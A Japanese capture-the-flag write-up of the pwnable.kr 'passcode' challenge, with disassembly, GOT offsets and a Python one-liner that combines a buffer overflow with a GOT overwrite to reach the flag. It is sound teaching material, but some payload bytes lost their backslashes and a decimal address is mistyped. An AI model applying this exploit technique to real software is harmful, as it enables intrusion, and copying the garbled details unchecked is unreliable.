CTF、pwnable #5 passcodeのwriteup

CTF

pwnable #5 passcodeの日本語writeupは意外とないもんですね。
わかんなかったので他人のwriteup見ちゃいました。

(あとこの問題では使いませんが他の問題でダウンロードさせられるDMSファイルはMacやWindowsだと開くのが面倒なのでLinuxで開きましょう。
MacでUnarchiverというソフトを使えるとDMSファイルを開けるらしいのですが、「ファイル*の内容は、このプログラムでは展開できません」とエラーが出てしまいます。
fileコマンドで調べるとELF64実行ファイルと出てきますし素直にLinuxで開きましょう。)

調査

ssh passcode@pwnable.kr -p2222

と書いてあるので接続します。(pw:guest)と末尾にあるようにログインパスワードはguestです。

passcodeとpasscode.cとflagが置いてあります。
passcodeを実行すると

passcode@ubuntu:~$ ./passcode
Toddler's Secure Login System 1.0 beta.
enter you name : admin
Welcome admin!
enter passcode1 : aaaa
enter passcode2 : checking...
Login Failed!

となります。(この例ではyou nameにadmin、passcode1にaaaaを入力しました)

セグメンテーションフォールトを起こしています。

passcode@ubuntu:~$ cat passcode.c
#include <stdio.h>
#include <stdlib.h>

void login(){
 int passcode1;
 int passcode2;

 printf("enter passcode1 : ");
 scanf("%d", passcode1);
 fflush(stdin);

 // ha! mommy told me that 32bit is vulnerable to bruteforcing :)
 printf("enter passcode2 : ");
        scanf("%d", passcode2);

 printf("checking...n");
 if(passcode1==338150 && passcode2==13371337){
                printf("Login OK!n");
                system("/bin/cat flag");
        }
        else{
                printf("Login Failed!n");
  exit(0);
        }
}

void welcome(){
 char name[100];
 printf("enter you name : ");
 scanf("%100s", name);
 printf("Welcome %s!n", name);
}

int main(){
 printf("Toddler's Secure Login System 1.0 beta.n");

 welcome();
 login();

 // something after login...
 printf("Now I can safely trust you that you have credential :)n");
 return 0; 
}

catでソースコードpasscode.cを見て見ますと、10行目と15行目でscanfに変数を指すアドレスを渡すべきところを、変数を直接渡しています。

よって本来書き込んではいけない場所に書き込むことになりセグメンテーションフォールトを起こしているようです。

ここが

scanf("%d", &passcode1);
scanf("%d", &passcode2);

のように&をつけてあれば、scanf関数は正しくpasscode1や2に書き込んでくれたのですが…。

解法

おおまかな方針

これを逆手に取ると、passcode1やpasscode2に格納された(かつ書き込み可能な)好きなアドレスの指す先に、scanf関数で書き込むことができます。


今回は、ソースコード20行目のflagを開くところにジャンプしたいです。

その直後のfflush関数の呼び出しで20行目前にジャンプするために、
passcode1の指す先をfflush関数を指しているGOT(GlobalOffsetTable)にしておき、scanfでpasscode1の指す先へ書き込む際にGOTを書き換え、fflushを呼び出す際にそのアドレスにジャンプするようにします(GOT overwrite攻撃)

そしてpasscode1にfflushのGOTのアドレスを書き込むためには、一番最初のname入力時にBOF(BufferOverflow)を利用します。


これがこの問題を解くためのアイデアです。(pwnって難しいよねー)

GOTとは

ちなみに、GOTの役割ですが、
関数が呼ばれる際はまずPLT(ProcedureLinkageTable)にジャンプします。
PLTは、本当の関数のアドレスが入っているGOTを参照し、間接的にジャンプするのですが、最初はGOTに値が入っていません。なので初回だけ、GOTに本当の関数のアドレスを入れてくれる手続きにジャンプします。

このようにして動的リンクを実現している…らしいですが、GOTが書き換え可能だとGOT Overwrite攻撃みたいに書き換えて好きな場所に飛ばされるので、
最初にGOTは全部書き込んで置いて、書き込み不可にする!ってのがFull RELRO(RELocation Read Only)らしいです。この場合でも別な方法で好き勝手されはしますけど。


解法の詳細

passcode@ubuntu:~$ gdb passcode
(gdb) disas login
Dump of assembler code for function login:
   0x08048564 <+0>: push   %ebp
   0x08048565 <+1>: mov    %esp,%ebp
   0x08048567 <+3>: sub    $0x28,%esp
   0x0804856a <+6>: mov    $0x8048770,%eax
   0x0804856f <+11>: mov    %eax,(%esp)
   0x08048572 <+14>: call   0x8048420 <printf plt="">
   0x08048577 <+19>: mov    $0x8048783,%eax
   0x0804857c <+24>: mov    -0x10(%ebp),%edx
   0x0804857f <+27>: mov    %edx,0x4(%esp)
   0x08048583 <+31>: mov    %eax,(%esp)
   0x08048586 <+34>: call   0x80484a0 <__isoc99_scanf plt="">
   0x0804858b <+39>: mov    0x804a02c,%eax
   0x08048590 <+44>: mov    %eax,(%esp)
   0x08048593 <+47>: call   0x8048430 <fflush plt="">
   0x08048598 <+52>: mov    $0x8048786,%eax
   0x0804859d <+57>: mov    %eax,(%esp)
   0x080485a0 <+60>: call   0x8048420 <printf plt="">
   0x080485a5 <+65>: mov    $0x8048783,%eax
   0x080485aa <+70>: mov    -0xc(%ebp),%edx
   0x080485ad <+73>: mov    %edx,0x4(%esp)
   0x080485b1 <+77>: mov    %eax,(%esp)
   0x080485b4 <+80>: call   0x80484a0 <__isoc99_scanf plt="">
   0x080485b9 <+85>: movl   $0x8048799,(%esp)
   0x080485c0 <+92>: call   0x8048450 <puts plt="">
   0x080485c5 <+97>: cmpl   $0x528e6,-0x10(%ebp)
   0x080485cc <+104>: jne    0x80485f1 <login>
   0x080485ce <+106>: cmpl   $0xcc07c9,-0xc(%ebp)
   0x080485d5 <+113>: jne    0x80485f1 <login>
   0x080485d7 <+115>: movl   $0x80487a5,(%esp)
   0x080485de <+122>: call   0x8048450 <puts plt="">
   0x080485e3 <+127>: movl   $0x80487af,(%esp)
   0x080485ea <+134>: call   0x8048460 <system plt="">
   0x080485ef <+139>: leave  
   0x080485f0 <+140>: ret    
   0x080485f1 <+141>: movl   $0x80487bd,(%esp)
   0x080485f8 <+148>: call   0x8048450 <puts plt="">
   0x080485fd <+153>: movl   $0x0,(%esp)
End of assembler dump.

Dump of assembler code for function welcome:
   0x08048609 <+0>: push   %ebp
   0x0804860a <+1>: mov    %esp,%ebp
   0x0804860c <+3>: sub    $0x88,%esp
   0x08048612 <+9>: mov    %gs:0x14,%eax
   0x08048618 <+15>: mov    %eax,-0xc(%ebp)
   0x0804861b <+18>: xor    %eax,%eax
   0x0804861d <+20>: mov    $0x80487cb,%eax
   0x08048622 <+25>: mov    %eax,(%esp)
   0x08048625 <+28>: call   0x8048420 <printf plt="">
   0x0804862a <+33>: mov    $0x80487dd,%eax
   0x0804862f <+38>: lea    -0x70(%ebp),%edx
   0x08048632 <+41>: mov    %edx,0x4(%esp)
   0x08048636 <+45>: mov    %eax,(%esp)
   0x08048639 <+48>: call   0x80484a0 <__isoc99_scanf plt="">
   0x0804863e <+53>: mov    $0x80487e3,%eax
   0x08048643 <+58>: lea    -0x70(%ebp),%edx
   0x08048646 <+61>: mov    %edx,0x4(%esp)
   0x0804864a <+65>: mov    %eax,(%esp)
   0x0804864d <+68>: call   0x8048420 <printf plt="">
   0x08048652 <+73>: mov    -0xc(%ebp),%eax
   0x08048655 <+76>: xor    %gs:0x14,%eax
   0x0804865c <+83>: je     0x8048663 <welcome>
   0x0804865e <+85>: call   0x8048440 <__stack_chk_fail plt="">
   0x08048663 <+90>: leave  
   0x08048664 <+91>: ret    
End of assembler dump.

(gdb) disas main
Dump of assembler code for function main:
   0x08048665 <+0>: push   %ebp
   0x08048666 <+1>: mov    %esp,%ebp
   0x08048668 <+3>: and    $0xfffffff0,%esp
   0x0804866b <+6>: sub    $0x10,%esp
   0x0804866e <+9>: movl   $0x80487f0,(%esp)
   0x08048675 <+16>: call   0x8048450 <puts plt="">
   0x0804867a <+21>: call   0x8048609 <welcome>
   0x0804867f <+26>: call   0x8048564 <login>
   0x08048684 <+31>: movl   $0x8048818,(%esp)
   0x0804868b <+38>: call   0x8048450 <puts plt="">
   0x08048690 <+43>: mov    $0x0,%eax
   0x08048695 <+48>: leave  
   0x08048696 <+49>: ret    
End of assembler dump.

objdumpコマンドで逆アセンブルします。AT&T記法注意。(上の例ではHTMLなどで使う記号のエスケープを一部やってないので変な表示になっているかも)

ソースコード20行目のsystem関数でflagを開いてるのは、逆アセンブル結果では35行目に当たります。system関数を呼び出す準備(引数をスタックに積む)をしてるっぽい34行目にジャンプしたいので0x080485e3、つまり13451417にジャンプすれば良いです。

この例のwelcome関数の逆アセンブル結果54~57行目を抜き出しました。

   0x0804862f <+38>: lea    -0x70(%ebp),%edx
   0x08048632 <+41>: mov    %edx,0x4(%esp)
   0x08048636 <+45>: mov    %eax,(%esp)
   0x08048639 <+48>: call   0x80484a0 <__isoc99_scanf plt="">

welcome関数の中ではnameを聞くために一回だけscanfを使っています。name変数のアドレスをここの1行目のLEA(ロードエフェクティブアドレス)命令でeaxにロードしています。

よって変数nameは-0x70(%ebp)つまりEBP-0x70にあるらしいことがわかります。

そしてpasscode1の位置は…
login関数の逆アセンブル結果、11行目から14行目を見てください

   0x0804857c <+24>: mov    -0x10(%ebp),%edx
   0x0804857f <+27>: mov    %edx,0x4(%esp)
   0x08048583 <+31>: mov    %eax,(%esp)
   0x08048586 <+34>: call   0x80484a0 <__isoc99_scanf plt="">

ここの1行目でMOV命令を使っています。これは前述の通りscanfに変数のアドレスじゃなくて変数自体を渡してしまっているためです。

ここからさっきと同じく-0x10(%ebp)つまりEBP-0x10に変数passcode1があることがわかります。

0x70と0x10の差を取りますと96。

96バイトを適当なデータで埋め、その後の4バイト(ちょうどpasscode1の位置)を、書き込みたいアドレス(fflushを指してるGOTのアドレス)にします。

fflushを指してるGOTのアドレスは

passcode@ubuntu:~$ objdump -R passcode

passcode:     file format elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE 
08049ff0 R_386_GLOB_DAT    __gmon_start__
0804a02c R_386_COPY        stdin@@GLIBC_2.0
0804a000 R_386_JUMP_SLOT   printf@GLIBC_2.0
0804a004 R_386_JUMP_SLOT   fflush@GLIBC_2.0
0804a008 R_386_JUMP_SLOT   __stack_chk_fail@GLIBC_2.4
0804a00c R_386_JUMP_SLOT   puts@GLIBC_2.0
0804a010 R_386_JUMP_SLOT   system@GLIBC_2.0
0804a014 R_386_JUMP_SLOT   __gmon_start__
0804a018 R_386_JUMP_SLOT   exit@GLIBC_2.0
0804a01c R_386_JUMP_SLOT   __libc_start_main@GLIBC_2.0
0804a020 R_386_JUMP_SLOT   __isoc99_scanf@GLIBC_2.7

から、0x0804a004だとわかりました。

よって、
最初の96バイトを無駄なAで埋め、次の4バイトをfflushを指すGOTのアドレスで埋め、最後にジャンプしたい先の0x080485e3、つまり13451417を入れます。

python -c "print 96*'A'+'x04xa0x04x08'+'134514147'"

となり、

python -c "print 96*'A'+'x04xa0x04x08'+'134514147'" | ./passcode 

これでOKになります。

間に改行文字挟んでないのでわかりにくいですが、

96*'A'+'x04xa0x04x08'

までがnameに入力されます。BOFにより末尾の0x080485e3がちょうどpasscode1の部分に書き込まれます。ここまででちょうど100バイトですのでnameが受け取る入力は勝手にここまでになります。
(この後に’n’を挟むと101バイトになってしまい、次のpasscode1の入力になってしまいます…ので挟みませんが、挟んでもscanfは改行文字は区切り文字として見るので先頭なら改行文字が来ても結果は変わりません。)

'134514147'

がpasscode1の指す先(fflushを指しているGOT)に書き込まれます。
 よってfflushを呼び出す際に0x080485e3にジャンプするというワケです。

注意点

なお前述の通り、逆アセンブル結果の、system関数の引数の準備をしている34行目(0x080485e3)でなくsystem関数を呼んでる35行目(0x080485ea)にダイレクトにジャンプすると

passcode@ubuntu:~$ python -c "print 96*'A'+'x04xa0x04x08'+'134514154'" | ./passcode
Toddler's Secure Login System 1.0 beta.
enter you name : Welcome AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA!
sh: 1: Syntax error: word unexpected (expecting ")")
enter passcode1 : Now I can safely trust you that you have credential :)

のようにエラーが出てしまいます。

コメント